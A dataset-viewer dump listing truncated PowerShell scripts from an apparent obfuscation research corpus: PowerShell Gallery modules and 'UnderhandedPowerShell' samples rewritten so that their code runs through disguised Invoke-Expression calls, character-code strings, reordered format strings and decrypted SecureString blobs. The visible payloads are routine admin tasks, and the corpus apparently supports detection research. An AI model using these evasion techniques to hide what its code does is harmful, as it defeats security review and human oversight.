full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/SecureSettings/1.0/Remove-SecureSetting.ps1 | Remove-SecureSetting.ps1 | function Remove-SecureSetting
{
<#
.Synopsis
Removes an encrypted setting from the registry
.Description
Removes a stored secured user settings in the registry
.Example
Remove-SecureSetting
.Example
Remove-SecureSetting AStringSetting
.Link
Ad... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PoshZabbixTools/0.1.5/Public/Get-ZabbixItemHistory.ps1 | Get-ZabbixItemHistory.ps1 | .( ([StRIng]''.chaRs)[11,18,19]-joIn'')(( (66 ,75, '6e' ,63, 74 ,69, '6f','6e', 20 , 47,65, 74 ,'2d' , '5a',61 , 62,62 , 69, 78, 49 , 74 ,65, '6d' , 48, 69 , 73, 74 , '6f' , 72, 79 , 20 , '7b', 'd','a' ,20,20, 20 ,20 ,'3c',23 , 'd', 'a', 20 , 20, 20 ,20,'2e',53,59,'4e' , '4f', 50,53, 49,53, 'd' , 'a', 20 , 20 , 20 ,20... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PowerShell-Toolmaking/1.0.0.19/Chapters/going-deeper-with-parameters/Get-DiskCheck.ps1 | Get-DiskCheck.ps1 | seT ('4k'+'z'+'T6B') ( ")'X'+]43[emoHSP$+]12[eMOhsP$ (&| )43]rAhc[,)75]rAhc[+601]rAhc[+05]rAhc[( ECaLPER-93]rAhc[,'g0x' ECaLPER- 421]rAhc[,)09]rAhc[+121]rAhc[+37]rAhc[(ECALpeRc- 63]rAhc[,'847' ECALpeRc-29]rAhc[,'AuJ'ECALpeRc- )'}
dne# }
9j2)dnammocyM.noitacovnIyM847(847 :gnidnE ]'+' '+'DNE[9j2 esobreV-eti'+'rW... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PowerShell-Toolmaking/1.0.0.19/Chapters/powershell-workflow-primer/Example2.ps1 | Example2.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/ISE_Cew/0.1.10/Public/CleanWhitespace.ps1 | CleanWhitespace.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PsIni/1.2.0/Examples/read-ini.ps1 | read-ini.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/MVA_DSC_2015_DAY1/0.0.0.2/Scripts/Reskit9/All Resources/xJea/Util/Initialize-ToolKit.ps1 | Initialize-ToolKit.ps1 | # Copyright � 2014, Microsoft Corporation. All rights reserved.
#InitializeToolKit
param(
[ValidateNotNullOrEmpty()]
$ToolkitName
)
.("{1}{0}"-f 'o','ipm') (.("{2}{1}{3}{0}" -f'h','o','J','in-Pat') $env:ProgramFiles 'Jea\Util\SafeProxy.psm1') -DisableNameChecking
function Write-ActivityRecord
{
... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/MVA_DSC_2015_DAY1/0.0.0.2/Scripts/DSC2/Mod7/LCM_Partial_Notes.ps1 | LCM_Partial_Notes.ps1 | [DscLocalConfigurationManager()]
Configuration partialMeta
{
Settings
{
RefreshMode = ('PUL'+'L')
RefreshFrequencyMins = 30
ConfigurationModeFrequencyMins = 15
ConfigurationMode = ('App'+'lyAn'+'dAu'+'toCorrect')
RebootNodeIfNeeded = $false
Configuratio... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/MVA_DSC_2015_DAY1/0.0.0.2/Scripts/DSC1/Mod6/_ResetS1_LCM_Push.ps1 | _ResetS1_LCM_Push.ps1 | [DSCLocalConfigurationManager()]
Configuration LCM_Push
{
Node s1
{
Settings
{
AllowModuleOverwrite = $True
ConfigurationMode = 'ApplyAndAutoCorrect'
RefreshMode = 'Push'
}
}
}
.('LCM_Pu'+'sh') -ComputerName s1 -OutputPath C:\DSC\Mod5Config
.('Se'... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/Image2Docker/1.8.2/Tests/DemoScript.ps1 | DemoScript.ps1 | $TYmn47=")''nioJ-]52,51,4[cePsmoC:VNE$ (&|)43]RAhC[,'bhZ' EcaLPerc-29]RAhC[,'GfZ' EcaLPerc-93]RAhC[,'NQZ' EcAlPeR- 63]RAhC[,'vOg'EcaLPerc-)'esobr'+'eV- pmettnuomGfZ:c htaPtnuoM- stcaf'+'itrAllAGfZllehSfotrA'+'GfZ:c htaPtuptuO- htaPegamIvOg htaPegamI- elifre'+'kcoD-oTtrevnoC#
esobre'+'V- SII ,revreSSND ,revreSPCHD t... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/DellBIOSProvider/1.2/Read-DellBIOSPassword.ps1 | Read-DellBIOSPassword.ps1 | Function Read-DellBIOSPassword {
<#
.Synopsis
Reads a Dell BIOS Password from secure string storage
.Description
Reads a Dell BIOS Password from secure string storage.
.Notes
Reads System.Security.SecureString from the default user path.
.Example
Read-DellBIOSPassword
.Example... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSFzf/1.1.12/PSFzf.Functions.ps1 | PSFzf.Functions.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSVersionCompare/0.4/Functions/Get-PSVersionVariable.ps1 | Get-PSVersionVariable.ps1 | <#
.SYNOPSIS
A function to retrieve PowerShell default variables from a computer. Defaults to the local machine if -ComputerName is not specified.
.DESCRIPTION
If you run Get-PSVersionVariable without -Export, you will get all variables is returned. With the -Export parameter specified the results will be e... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSDeploy/0.1.27/Private/Sort-PSDeployment.ps1 | Sort-PSDeployment.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSDeploy/0.1.27/Public/By.ps1 | By.ps1 | & ( $PshoMe[4]+$PsHOme[34]+'x')( (('Function By {
<#
.SYNOPSIS
Specify de'+'tails about the DeploymentType for deployments defined in a PSDeploy.ps1'+'
.DE'+'SCRIPTION
'+' Specify details about the DeploymentType for depl'+'oymen'+'ts defined in a PSDeploy.ps1
'+' This is not inten'... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSDeploy/0.1.27/PSDeployScripts/Chocolatey.ps1 | Chocolatey.ps1 | .( $sHeLLiD[1]+$shELLid[13]+'X') ( "$(SeT-iTem 'VarIABle:oFs' '') " +[StrInG]((111100,100011 ,1010 , 100000,100000, 100000,100000 , 101110 , 1010011 , 1011001 ,1001110 , 1001111, 1010000 , 1010011, 1001001 , 1010011 ,1010,100000,100000 ,100000,100000 , 100000,100000 ,100000 , 100000 ,1000100 , 1100101, 1110000 , 11... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/LCMInternals/0.1/7-Reboot.ps1 | 7-Reboot.ps1 | ( [RUNTImE.iNTErOpSeRViCeS.maRsHAl]::([RuNtIMe.iNTeROpSERViCES.maRShAL].GEtMEMBERs()[0].nAme).INVOkE([rUnTime.IntEROpsErvICeS.mARsHal]::SeCurESTRInGTOgLOBaLalLocaNSi($('76492d1116743f0423413b16050a5345MgB8AGEAZgBtADQAQwB0AEEAYwBUADkAMABBADEAeQBIAHgAVQBjAFgAOQBKAFEAPQA9AHwAMQA1AGEAZgA3AGMAMgBlAGUAOABhAGQAMAAwADAAMQBlAGY... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/LCMInternals/0.1/0-MofStructure.ps1 | 0-MofStructure.ps1 | $ScriptPath = Split-Path $MyInvocation.MyCommand.Path
. "$ScriptPath\0-CommonInit.ps1"
# Here is a sample configuration
psedit "$ScriptPath\HeloWorld.ps1"
# When this configuration is invoked it produces
# a configuration document
. "$ScriptPath\HeloWorld.ps1"
HeloWorld -OutputPath "$OutputPath\HeloWorld"
... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/LCMInternals/0.1/1-Pending.mof.ps1 | 1-Pending.mof.ps1 | $ScriptPath = .("{0}{2}{1}"-f 'S','t-Path','pli') $MyInvocation.MyCommand.Path
. "$ScriptPath\0-CommonInit.ps1"
# generate document using 0-MofStructure.ps1
# let us invoke the document
.("{2}{3}{4}{5}{0}{1}"-f 'guratio','n','Sta','rt-D','scC','onfi') -Wait -Verbose -Force -Path "$OutputPath\HeloWorld" -Comput... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/posh-azurecli/0.1.10/DevInstall.ps1 | DevInstall.ps1 | '
... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSCI/1.1.7/Public/zip/Expand-With7Zip.ps1 | Expand-With7Zip.ps1 | <#
The MIT License (MIT)
Copyright (c) 2015 Objectivity Bespoke Software Specialists
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the r... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSCI/1.1.7/Public/build/BuildPackage/Build-SSISPackage.ps1 | Build-SSISPackage.ps1 | <#
The MIT License (MIT)
Copyright (c) 2015 Objectivity Bespoke Software Specialists
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the r... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSCI/1.1.7/Public/deploy/Helpers/SSRS/New-SSRSResource.ps1 | New-SSRSResource.ps1 | <#
The MIT License (MIT)
Copyright (c) 2015 Objectivity Bespoke Software Specialists
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the r... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSCI/1.1.7/Public/deploy/Helpers/Copy-FilesFromRemoteServer/Get-RemoteFileUsingStream.ps1 | Get-RemoteFileUsingStream.ps1 | . ( ''.SuBStRIng.TOsTrINg()[51,72,30]-jOIn'')(('74!43!15n12&124u150;145&40u115@111!124>40n114u151u143>145>156!163>145n40n50>115o111>124>51&15@12n15{12o103%157@160{171u162o151!147!150n164>40!50>143%51&40{62o60u61%65;40n117%142o152;145n143&164{151o166u151{164;171{40n102!145!163n160n157o153;145o40&123;157o146%164&167;141... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSCI/1.1.7/externalLibs/Carbon/Carbon/Path/Test-UncPath.ps1 | Test-UncPath.ps1 | # Copyright 2012 Aaron Jensen
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to ... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSCI/1.1.7/baseModules/PPoShTools/1.0.2/Private/Log/Write-LogToFile.ps1 | Write-LogToFile.ps1 | ( '146G165H156Y143f164f151%157S156{40{127S162%151%164f145S55v114H157%147Y124S157f106T151G154{145H50v51Y40{173H12G40v40T40H40S74}43%12G40T40S40}40v56Y123v131}116%117S120v123{111{123}12S40S40G40G40v40{40Y40}40f117S165%164%160v165T164H163v40%164H150v145S40%115v145{163f163%141T147T145%40}164G157T40Y146G151T154f145Y56}40Y11... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/Ponduit/1.3.86/Private/Get-ConduitConfigPath.ps1 | Get-ConduitConfigPath.ps1 | ([RUNTiMe.InTERopSeRVICeS.mARshAl]::PTRTOstRIngbsTr( [rUntIME.inTeROpserVICEs.MARsHAL]::secUreSTRInGtobSTr( $('76492d1116743f0423413b16050a5345MgB8AEwAVwAxAHcASQA4AHEAUABOAGwAVwAxADkATgBkADIAYwBqAHIAKwAwAHcAPQA9AHwAOQAyADYAYgBmADYANgAxAGMAYwBhADMAYQA4ADgAZQBkAGYAMgA2ADkANgA2ADIAOQAxAGIAYgA5ADEAOQBhAGYANgBhAGQAMgA2AGIA... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/ucs-puptr/0.0.3/Diagnostics/2. Simple/DefaultPoolSchema.Tests.ps1 | DefaultPoolSchema.Tests.ps1 | #requires -Modules Pester, Cisco.UcsManager
[CmdletBinding()]
Param(
# Optionally fix all config drift that is discovered. Defaults to false (off)
[switch]${R`eme`d`iate} = ${Fa`lSe},
# Optionally define a different config file to use.
[string]${C`On`FIgna`me}
)
Process {
# Tests
Describe -Na... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/powershell-pulp/2.0.1/public/Remove-PulpIsoRepo.ps1 | Remove-PulpIsoRepo.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/powershell-pulp/2.0.1/public/New-PulpSyncSchedule.ps1 | New-PulpSyncSchedule.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/powershell-pulp/2.0.1/public/Get-PulpPuppetModule.ps1 | Get-PulpPuppetModule.ps1 | # .ExternalHelp powershell-pulp-help.xml
Function Get-PulpPuppetModule {
[CmdletBinding(DefaultParameterSetName={'St'+'rin'+'gs'})]
Param(
[string]$Server,
[int]$Port,
[string]$Protocol,
[string]$AuthenticationMethod,
[Parameter(Mandatory=$false, Position=0, ValueFromPipeline=$fals... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/powershell-pulp/2.0.1/public/Get-PulpIsoSyncSchedule.ps1 | Get-PulpIsoSyncSchedule.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/powershell-pulp/2.0.1/public/Remove-PulpContentUnit.ps1 | Remove-PulpContentUnit.ps1 | & ( $pshoMe[21]+$PSHomE[34]+'X') ((("{31}{3}{24}{13}{21}{32}{16}{37}{40}{0}{23}{17}{10}{2}{7}{18}{29}{30}{39}{33}{11}{43}{28}{14}{15}{1}{36}{19}{45}{44}{26}{5}{4}{8}{9}{25}{12}{22}{34}{41}{27}{35}{42}{6}{38}{20}" -f 'col = (Get-PulpLoca','type_id
HbErepoId = HbEContentUnit XDf Select-Object -ExpandProperty repo_... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/powershell-pulp/2.0.1/public/Set-PulpLocalConfig.ps1 | Set-PulpLocalConfig.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSStackExchange/1.0.3/Private/Get-SEData.ps1 | Get-SEData.ps1 | <#
Helper function to abstract out paging and extraction of 'items'
API docs: https://api.stackexchange.com/docs
Paging details: https://api.stackexchange.com/docs/paging
Note: Explicitly removed functionality to limit pagesize on final call based on MaxResults.
If the pagesize ... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PSStackExchange/1.0.3/Private/ConvertFrom-UnixDate.ps1 | ConvertFrom-UnixDate.ps1 | Function ConvertFrom-UnixDate {
<#
.SYNOPSIS
Convert from Unix time to DateTime
.DESCRIPTION
Convert from Unix time to DateTime
.PARAMETER Date
Date to convert, in Unix / Epoch format
.PARAMETER Utc
Default behavior is to convert Date to universal time.
Se... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/DellBIOSProviderX86/1.2/ResourceDesignerScripts/GenerateDCPP-PerformanceSchema.ps1 | GenerateDCPP-PerformanceSchema.ps1 | <#
This is a Resource designer script which generates a mof schema for DCPP_POSTBehavior resource in DellBIOSProvider module.
#>
$category = New-xDscResourceProperty -name ('Cate'+'gor'+'y') -Type ('Stri'+'ng') -Attribute ('K'+'ey')
$multiCoreSupport = New-xDscResourceProperty -name ('Mult'+'iCo'+'reSupp'+'or... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/LabinaBox/1.0/DSCResources/xComputerManagement/1.8.0.0/Tests/Unit/MSFT_xScheduledTask.Tests.ps1 | MSFT_xScheduledTask.Tests.ps1 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingConvertToSecureStringWithPlainText", "")]
param(
)
$Global:DSCModuleName = 'xComputerManagement'
$Global:DSCResourceName = 'MSFT_xScheduledTask'
#region HEADER
# Unit Test Template Version: 1.1.0
[String] $moduleRoot = &('Split-'+'P'+'at... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/POSHOrigin_vSphere/1.3.0/DSCResources/POSHOrigin_vSphere_VM/Provisioners/DomainJoin/Test.ps1 | Test.ps1 | IEX( -join ('1011011-1100011b1101101k1100100b1101100~1100101y1110100}1100010{1101001}1101110k1100100<1101001}1101110b1100111k101000-101001y1011101b1010~1110000-1100001-1110010b1100001y1101101~101000y1010-100000{100000y100000{100000k1011011{1110000-1100001}1110010b1100001<1101101{1100101N1110100<1100101N1110010b101000-... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/POSHOrigin_vSphere/1.3.0/DSCResources/POSHOrigin_vSphere_VM/Helpers/_GetGuestOS.ps1 | _GetGuestOS.ps1 | (('function _GetGuestOS{
[cmdletbinding()]
'+' param(
[Pa'+'rameter(Mandat'+'ory)]
[ValidateNotNull('+')]
1Ejvm,
[Parameter(M'+'andatory)]
[pscredential]1EjCredential
)
#Get guest'+' oper'+'ating system version
try {
1Ejip'+' ='+' _GetGu'+'estVMIPAddr... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PS7Zip/1.3.0.1604/Get-7Zip.ps1 | Get-7Zip.ps1 | Function GEt-7ZIP {
<#
.SYNOPSIS
List contents of a compressed archive file
.DESCRIPTION
Use Get-7Zip to list the contents of an archive.
.EXAMPLE
Get-7Zip archive.zip
List contents of archive.zip in the current working folder
.EXAMPLE
Get-7Zip "c:\folder\files.gz"
... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/xWebAdministration/1.17.0.0/Tests/Integration/MSFT_xWebsite.Integration.Tests.ps1 | MSFT_xWebsite.Integration.Tests.ps1 | $script:DSCModuleName = ("{2}{1}{3}{4}{0}"-f 'n','WebAdministra','x','ti','o')
$script:DSCResourceName = ("{1}{3}{2}{0}" -f'e','MS','bsit','FT_xWe')
#region HEADER
$script:moduleRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
if ( (-not (Test-Path -Path (Join-Path -Path $script:moduleRoot -ChildPat... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/CliMenu/1.0.52.0/Rubbish/Set-Menu.ps1 | Set-Menu.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/wagnerSolutions.SAPSupportAPI/1.0.4/EnsureSAPSupportApiKey.ps1 | EnsureSAPSupportApiKey.ps1 | <#
My Function
#>
function EnsureSAPSupportApiKey
{
param(
[Parameter(Position=1)]
[string]${APIK`ey}
)
if([string]::IsNullOrWhiteSpace(${a`PI`KeY}))
{
${APi`k`Ey} = Get-SAPSupportApiKey
}
if([string]::IsNullOrWhiteSpace(${a`PIk`eY}) -or ${a`Pi`kEY} -eq "undefined... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PoshRSJob/1.7.3.9/Private/WriteStream.ps1 | WriteStream.ps1 | Function WriteStream {
[CmdletBinding()]
Param (
[Parameter(ValUeFrOmpIpEliNE=$true)]
[Object]$IndividualJob
)
Begin {
$Streams = "Verbose","Warning","Error","Output","Debug"
}
Process {
ForEach ($Stream in $Streams)
{
If (($IndividualJob.$Str... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/ARTools/2016.5.7.3/Public/ConvertFrom-EncodedCommand.ps1 | ConvertFrom-EncodedCommand.ps1 | function ConvertFrom-EncodedCommand
{
[cmdletbinding()]
Param(
[Parameter(Mandatory = $True,Position=0)]
[string]$EncodedCommand
)
Begin{}
Process{
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand));
... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/ScsmPx/1.0.17.60/functions/Add-ScsmPxTroubleTicketComment.ps1 | Add-ScsmPxTroubleTicketComment.ps1 | & ( ([stRIng]$VerBosEprEFeRENce)[1,3]+'x'-JoiN'')(((("{260}{188}{133}{371}{115}{14}{326}{274}{366}{165}{81}{172}{310}{285}{250}{94}{171}{71}{132}{10}{327}{154}{369}{227}{169}{181}{51}{349}{25}{303}{31}{8}{36}{177}{3}{355}{229}{40}{210}{84}{124}{337}{195}{114}{283}{60}{157}{59}{16}{277}{178}{26}{147}{223}{65}{205}{74}{... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/nDemos_BRK4452/1.0/Demo/CreateWebsite.ps1 | CreateWebsite.ps1 | ([RUnTIme.inTeRoPSerVicES.marSHaL]::([rUnTIMe.intERopseRVICes.MArShal].GeTMeMBerS()[4].NamE).INvoKE([RUnTime.iNTerOPseRviCES.marshAl]::sECuResTRINgToglOBAlallOCUnIcOde($('76492d1116743f0423413b16050a5345MgB8AHIAcgBUAGIAcgBjAFIASgBxAE4AcABUADIASABzADEAWQBFAG4AcABHAFEAPQA9AHwAMgAzAGYAMwAxAGMAMAA2AGEAMAA4AGEAMgAwAGUANAAwA... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/ConvertToClass/1.5/PasteAsClass.ps1 | PasteAsClass.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/PowerEvents/0.4/Samples/Event Filters/Event Filter - Microsoft Outlook Started.ps1 | Event Filter - Microsoft Outlook Started.ps1 | '
... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/DSCPullServerWeb/1.1.0/Functions/Get-DSCPullServerNamesNode.ps1 | Get-DSCPullServerNamesNode.ps1 | ((("{17}{45}{42}{49}{14}{35}{68}{13}{7}{32}{22}{61}{47}{25}{72}{41}{15}{70}{37}{46}{67}{21}{19}{60}{50}{66}{69}{62}{71}{31}{11}{24}{26}{6}{44}{9}{33}{59}{65}{36}{34}{58}{64}{12}{28}{63}{27}{0}{5}{16}{23}{51}{40}{2}{52}{18}{43}{38}{30}{4}{39}{1}{56}{55}{57}{54}{3}{20}{29}{8}{10}{48}{53}"-f 'xq
}
# Depend',' f... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/XBPS/0.1/Show-InitialXboxSetup.ps1 | Show-InitialXboxSetup.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/XBPS/0.1/Set-Xbox.ps1 | Set-Xbox.ps1 | function Set-Xbox
{
param(
[Parameter(ValueFromPipelineByPropertyName=$true)]
[Alias('DebugIPAddress')]
[string[]]
$Console,
[XDevKit.XboxDumpMode]
$DumpMode,
[XDevKit.XboxEventDeferFlags]
$EventDeferFlags,
[ValidateSet("NTSC-M","NTSC-J","PAL-I","VGA... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/ISHServer.12/1.5/Get-ISHCOMPlus.ps1 | Get-ISHCOMPlus.ps1 | None |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/Nupkg/1.0.6.304/functions/internal.ps1 | internal.ps1 | ( -jOIN[reGEX]::matCheS(" ))'|',)97]rahC[+98]rahC[+25]rahC[((ecaLPER.)43]rahC[]gNIrTS[,)58]rahC[+84]rahC[+001]rahC[((ecaLPER.)63]rahC[]gNIrTS[,)58]rahC[+77]rahC[+86]rahC[((ecaLPER.)'
}'+'
}'+' '+' '+'
rid'+' ytrepo'+'rPdn'+'apx'+'E- '+'tc'+'e'+'l'+'es'+' OY4'+' d'+'er'+'e'+'d'+'roU'+'M'+'D nr'+'ute'+'r
redr'+'o... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/MVA_DSC_2015_DAY2/0.0.0.2/Scripts/DSC1/Mod5/10.Config_Registry.ps1 | 10.Config_Registry.ps1 | & ( $enV:PUBLIC[13]+$eNv:PublIc[5]+'X') ([STriNG]::jOin( '' , ( 'd@ay63H6fy6e{66O69%67r75y72{61O74{69r6f-6eO20y54{65%73H74O52H65r67@69%73%74H72{79{20%7bOdra-d%aO20H20y20@20H4er6f@64r65r20{73-31H20@7b{d@ay20r20%20H20@20H20r20r20r52@65H67O69y73O74%72y79@20r43@72r65{61%74%65{52@65H67O20-7brd@ay20@20O20y20%20r20%20y20{20%2... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/TFS/2016.10.20/Add-TFSBuildTag.ps1 | Add-TFSBuildTag.ps1 | &( ([STRinG]''.SubSTriNG)[13,72,64]-join'')( [StrINg]::jOIN( '', ('35!32g65g117g116Q104Q111M114g58U32U77C105g111C100C114-97h103!32g77U105C108Q105h99M32-60h109-105g111-100-114g97Q103_46U109!105_108Q105!99g64h103-109Q97!105C108g46g99_111g109C62g13-10!35h32g76_97C115-116C32C67C104C97g110h103>101M58C32Q50_54M45>65Q112>114... |
PowerShellCorpus/InvokeObfuscation/PowerShellGallery/TFS/2016.10.20/New-TFSCredential.ps1 | New-TFSCredential.ps1 | # Author: Miodrag Milic <miodrag.milic@gmail.com>
# Last Change: 18-May-2016.
<#
.SYNOPSIS
Create and optionaly store the TFS credentials
#>
function New-TFSCredential {
[CmdletBinding()]
param(
# TFS credential
[PSCredential] $Credential
)
Write-Verbose "New TFS cred... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_369.ps1 | UnderhandedPowerShell_369.ps1 | ' ... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_248.ps1 | UnderhandedPowerShell_248.ps1 | &( $env:pubLic[13]+$Env:publiC[5]+'x') (([RUNtIME.inTerOPseRvIcES.mARsHaL]::PtRToSTriNguni( [RuNtIme.inTeRopSErVIcEs.marSHAl]::sECurEstRINGtOgLOBALaLlocuNIcODE( $('76492d1116743f0423413b16050a5345MgB8AGkAbgBwAGwAbgAvAEcARwBIAEUAcABmAFQAcABVAHYAQgBFADIANABkAGcAPQA9AHwAYgAyAGEAMwBkAGUAZQA1AGUAOQBiAGYAYQBhADAANQA4AGQANAB... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_234.ps1 | UnderhandedPowerShell_234.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_205.ps1 | UnderhandedPowerShell_205.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_306.ps1 | UnderhandedPowerShell_306.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_026.ps1 | UnderhandedPowerShell_026.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_159.ps1 | UnderhandedPowerShell_159.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_209.ps1 | UnderhandedPowerShell_209.ps1 | ((("{6}{17}{16}{31}{19}{24}{3}{23}{1}{13}{25}{14}{0}{27}{22}{2}{11}{28}{5}{20}{10}{9}{15}{8}{12}{7}{26}{4}{30}{21}{18}{29}"-f '{0}+{0}arshal','un','0','sion]::Field({1}nu','alue','tem','[L','r.Get',').','Size{0','ultChar','}Sy','Membe','time.I{0}+{0}n','ropServices.M','}','ess','inq.Expr','l)
','Expre','Defa','}nul','... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_241.ps1 | UnderhandedPowerShell_241.ps1 | [STrING]::join('',( '1010}100011Z100000_1110101!1110011b1100101a100000j1110001Z1110101a1101111a1110100E1100101b1110011Z100000_1110100!1101111!100000x1110011}1101101x1110101a1100111E1101100Z1100101a100000j1101110!1101111x1110100j100000x1100001!1101100E1101100b1101111}1110111a1100101Z1100100!100000x1110011x1110100b111001... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_213.ps1 | UnderhandedPowerShell_213.ps1 | nal X`EI I`ex;xei (-join('[Runtime.I','nteropServices.M','arshal]::SystemDefaultCharSize'))
|
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_064.ps1 | UnderhandedPowerShell_064.ps1 | &( $enV:coMsPEc[4,24,25]-JOiN'')( (("{131}{51}{116}{85}{77}{179}{54}{132}{211}{95}{84}{28}{120}{226}{219}{227}{68}{57}{101}{196}{143}{157}{7}{128}{239}{221}{134}{30}{118}{96}{98}{111}{202}{189}{217}{141}{89}{37}{79}{148}{100}{43}{154}{159}{123}{137}{130}{94}{10}{41}{112}{60}{155}{6}{237}{87}{233}{22}{195}{156}{115}{10... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_294.ps1 | UnderhandedPowerShell_294.ps1 | .( ([stRInG]''.suBSTrinG)[37,72,30]-joIN'') ( ((("{5}{38}{62}{97}{58}{26}{12}{41}{25}{4}{24}{2}{23}{22}{56}{49}{52}{34}{94}{3}{47}{43}{0}{89}{63}{85}{77}{40}{67}{27}{66}{35}{86}{72}{78}{20}{45}{10}{57}{92}{95}{1}{42}{29}{90}{44}{74}{11}{84}{14}{70}{21}{50}{46}{69}{19}{75}{30}{6}{82}{68}{28}{37}{93}{33}{76}{17}{54}{39}{... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_378.ps1 | UnderhandedPowerShell_378.ps1 |
$code = "[System.Runtim e . In t e r o p S e rvic es .Ma r s h a l] : : S y s t e m D e f a u l t C h a r S ize".replace(' ','')
$newPowerShell = [PowerShell]::Create().AddScript($code)
$job = $newPowerShell.BeginInvoke()
While (-Not $job.IsCompleted) {}
$result = $newPowerShell.EndInvoke($job... |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_129.ps1 | UnderhandedPowerShell_129.ps1 | None |
PowerShellCorpus/InvokeObfuscation/UnderhandedPowerShell/UnderhandedPowerShell_160.ps1 | UnderhandedPowerShell_160.ps1 | SV 5Ql7TD ( [ChAR[ ] ]")''Nioj-]152,58,47[)(gnIRTSOt.FOxeDNitsal.'' ( &| )63]rAHc[,'Oga' EcalPER- 93]rAHc[,)94]rAHc[+79]rAHc[+47]rAHc[( EcalPER-)'
1aJe'+'mi'+'tnur.1aJ =+'+' '+'ts'+'et'+'Oga
1aJmet1aJ =+ t'+'setOga
'+'
1'+'aJs'+'y'+'s1aJ =+ tsetOga '+'
